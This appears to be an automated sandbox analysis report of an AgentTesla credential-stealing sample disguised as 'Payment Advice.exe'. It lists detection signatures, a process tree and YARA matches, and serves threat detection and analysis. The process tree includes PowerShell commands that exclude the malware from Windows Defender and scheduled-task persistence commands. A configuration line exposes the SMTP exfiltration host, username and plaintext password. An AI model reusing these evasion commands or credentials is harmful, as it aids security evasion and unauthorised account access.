Edit tour

Windows Analysis Report
Payment Advice.exe

Overview

General Information

Sample name:	Payment Advice.exe
Analysis ID:	1428252
MD5:	f060b9400a263bea044a7789ec1d85d9
SHA1:	3e939ea522e4356fbdc15c7e0119366a6369e0c9
SHA256:	921ace6c0f27813fa370b65bcaee79824a4e31920dbdfec7652103c60e84cd23
Tags:	AgentTeslaexePayment
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

.NET source code contains very large array initializations

Adds a directory exclusion to Windows Defender

Contains functionality to log keystrokes (.Net Source)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Installs a global keyboard hook

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Payment Advice.exe (PID: 6700 cmdline: "C:\Users\user\Desktop\Payment Advice.exe" MD5: F060B9400A263BEA044A7789EC1D85D9)

powershell.exe (PID: 7116 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Payment Advice.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7200 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7620 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 7236 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp6619.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Payment Advice.exe (PID: 7404 cmdline: "C:\Users\user\Desktop\Payment Advice.exe" MD5: F060B9400A263BEA044A7789EC1D85D9)

sFPEKzHsLkYZIz.exe (PID: 7524 cmdline: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe MD5: F060B9400A263BEA044A7789EC1D85D9)

schtasks.exe (PID: 7756 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp7ACA.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sFPEKzHsLkYZIz.exe (PID: 7816 cmdline: "C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe" MD5: F060B9400A263BEA044A7789EC1D85D9)

BjTxJte.exe (PID: 7952 cmdline: "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe" MD5: F060B9400A263BEA044A7789EC1D85D9)

schtasks.exe (PID: 8132 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmpA082.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

BjTxJte.exe (PID: 8188 cmdline: "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe" MD5: F060B9400A263BEA044A7789EC1D85D9)

BjTxJte.exe (PID: 6576 cmdline: "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe" MD5: F060B9400A263BEA044A7789EC1D85D9)

BjTxJte.exe (PID: 7492 cmdline: "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe" MD5: F060B9400A263BEA044A7789EC1D85D9)

schtasks.exe (PID: 7672 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmpC03F.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

BjTxJte.exe (PID: 4092 cmdline: "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe" MD5: F060B9400A263BEA044A7789EC1D85D9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.seawaysfreight-bd.com", "Username": "samsuddin@seawaysfreight-bd.com", "Password": "36@SaM%sFl#"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.4124616083.0000000002D5C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000D.00000002.4124167230.000000000292B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000E.00000002.1852266538.00000000041C5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.1852266538.00000000041C5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.4124616083.0000000002D31000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.4124616083.0000000002D31000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000D.00000002.4124167230.00000000028E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.4124167230.00000000028E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000014.00000002.1933792023.0000000003CE4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000002.1933792023.0000000003CE4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000013.00000002.4125579074.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.4125579074.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.4124616083.0000000002D64000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.1760226964.0000000004E2A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.1760226964.0000000004E2A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000D.00000002.4115682058.0000000000431000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.4115682058.0000000000431000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000019.00000002.4125631218.0000000002D9B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000002.4125631218.0000000002D9B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000013.00000002.4125579074.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1712393138.0000000004C49000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1712393138.0000000004C49000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Payment Advice.exe PID: 6700	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Payment Advice.exe PID: 6700	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Payment Advice.exe PID: 6700	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Payment Advice.exe PID: 7404	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Payment Advice.exe PID: 7404	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: sFPEKzHsLkYZIz.exe PID: 7524	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: sFPEKzHsLkYZIz.exe PID: 7524	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: sFPEKzHsLkYZIz.exe PID: 7524	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: sFPEKzHsLkYZIz.exe PID: 7816	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: sFPEKzHsLkYZIz.exe PID: 7816	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: BjTxJte.exe PID: 7952	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BjTxJte.exe PID: 7952	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: BjTxJte.exe PID: 7952	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: BjTxJte.exe PID: 6576	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BjTxJte.exe PID: 6576	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: BjTxJte.exe PID: 7492	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BjTxJte.exe PID: 7492	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: BjTxJte.exe PID: 7492	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: BjTxJte.exe PID: 4092	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BjTxJte.exe PID: 4092	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 37 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Payment Advice.exe.4c84a08.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Payment Advice.exe.4c84a08.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Payment Advice.exe.4c84a08.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31e04:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31e76:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31f00:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31f92:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31ffc:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3206e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32104:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32194:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.sFPEKzHsLkYZIz.exe.4e65888.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.sFPEKzHsLkYZIz.exe.4e65888.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.sFPEKzHsLkYZIz.exe.4e2a668.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.sFPEKzHsLkYZIz.exe.4e2a668.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.sFPEKzHsLkYZIz.exe.4e65888.4.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31e04:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31e76:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31f00:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31f92:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31ffc:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3206e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32104:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32194:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.sFPEKzHsLkYZIz.exe.4e2a668.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31e04:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31e76:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31f00:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31f92:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31ffc:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3206e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32104:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32194:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
20.2.BjTxJte.exe.3ce4260.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
20.2.BjTxJte.exe.3ce4260.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
20.2.BjTxJte.exe.3ce4260.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31e04:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31e76:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31f00:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31f92:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31ffc:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3206e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32104:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32194:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Payment Advice.exe.4c497e8.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Payment Advice.exe.4c497e8.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Payment Advice.exe.4c497e8.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31e04:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31e76:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31f00:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31f92:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31ffc:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3206e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32104:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32194:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
14.2.BjTxJte.exe.41c5ac8.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.BjTxJte.exe.41c5ac8.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
14.2.BjTxJte.exe.41c5ac8.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31e04:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31e76:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31f00:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31f92:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31ffc:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3206e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32104:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32194:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Payment Advice.exe.4c84a08.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Payment Advice.exe.4c84a08.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Payment Advice.exe.4c84a08.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33c04:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6ec24:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33c76:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6ec96:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33d00:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ed20:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33d92:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6edb2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33dfc:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6ee1c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33e6e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6ee8e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33f04:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6ef24:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33f94:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6efb4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
20.2.BjTxJte.exe.3d1f480.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
20.2.BjTxJte.exe.3d1f480.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
20.2.BjTxJte.exe.3d1f480.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31e04:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31e76:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31f00:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31f92:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31ffc:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3206e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32104:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32194:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
20.2.BjTxJte.exe.3d1f480.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
20.2.BjTxJte.exe.3d1f480.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
20.2.BjTxJte.exe.3d1f480.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33c04:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6ec24:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33c76:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6ec96:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33d00:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ed20:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33d92:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6edb2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33dfc:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6ee1c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33e6e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6ee8e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33f04:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6ef24:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33f94:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6efb4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.sFPEKzHsLkYZIz.exe.4e65888.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.sFPEKzHsLkYZIz.exe.4e65888.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.sFPEKzHsLkYZIz.exe.4e65888.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33c04:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6ec24:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33c76:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6ec96:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33d00:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ed20:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33d92:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6edb2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33dfc:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6ee1c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33e6e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6ee8e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33f04:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6ef24:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33f94:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6efb4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Payment Advice.exe.4c497e8.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Payment Advice.exe.4c497e8.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Payment Advice.exe.4c497e8.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33c04:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6ee24:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa9e44:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33c76:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6ee96:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa9eb6:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33d00:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ef20:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa9f40:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33d92:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6efb2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa9fd2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33dfc:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6f01c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xaa03c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33e6e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6f08e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xaa0ae:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33f04:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6f124:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xaa144:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
14.2.BjTxJte.exe.41c5ac8.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.BjTxJte.exe.41c5ac8.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
14.2.BjTxJte.exe.41c5ac8.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33c04:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6ec24:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33c76:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6ec96:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33d00:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ed20:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33d92:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6edb2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33dfc:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6ee1c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33e6e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6ee8e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33f04:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6ef24:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 